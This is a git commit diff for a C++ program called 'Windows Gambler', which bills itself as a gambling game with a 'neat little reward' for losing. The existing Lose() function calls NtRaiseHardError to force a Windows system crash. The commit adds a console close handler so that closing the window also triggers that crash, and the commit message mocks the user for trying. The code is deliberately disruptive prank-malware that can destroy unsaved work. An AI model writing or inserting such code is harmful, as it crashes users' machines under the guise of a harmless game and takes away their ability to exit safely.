Closing the app was a bad choice huh?
This commit is contained in:
1 parent
158003a17b
commit
2e9894674c
1 file changed
+12
@@ -25,7 +25,19 @@ static void Lose() {
|
|||||||
NtRaiseHardError(STATUS_IN_PAGE_ERROR, 0, 0, NULL, 6, &ErrorResponse);
|
NtRaiseHardError(STATUS_IN_PAGE_ERROR, 0, 0, NULL, 6, &ErrorResponse);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
BOOL WINAPI ConsoleHandler(DWORD dwCtrlType) {
|
||||||
|
switch (dwCtrlType) {
|
||||||
|
case CTRL_CLOSE_EVENT:
|
||||||
|
Lose();
|
||||||
|
return TRUE;
|
||||||
|
default:
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
int main() {
|
int main() {
|
||||||
|
SetConsoleCtrlHandler(ConsoleHandler, TRUE);
|
||||||
|
|
||||||
std::srand(std::time(nullptr));
|
std::srand(std::time(nullptr));
|
||||||
|
|
||||||
std::cout << "Welcome to Windows Gambler, if you lose, you get a neat little reward!" << std::endl;
|
std::cout << "Welcome to Windows Gambler, if you lose, you get a neat little reward!" << std::endl;
|
||||||
|
|||||||
Reference in new issue
Block a user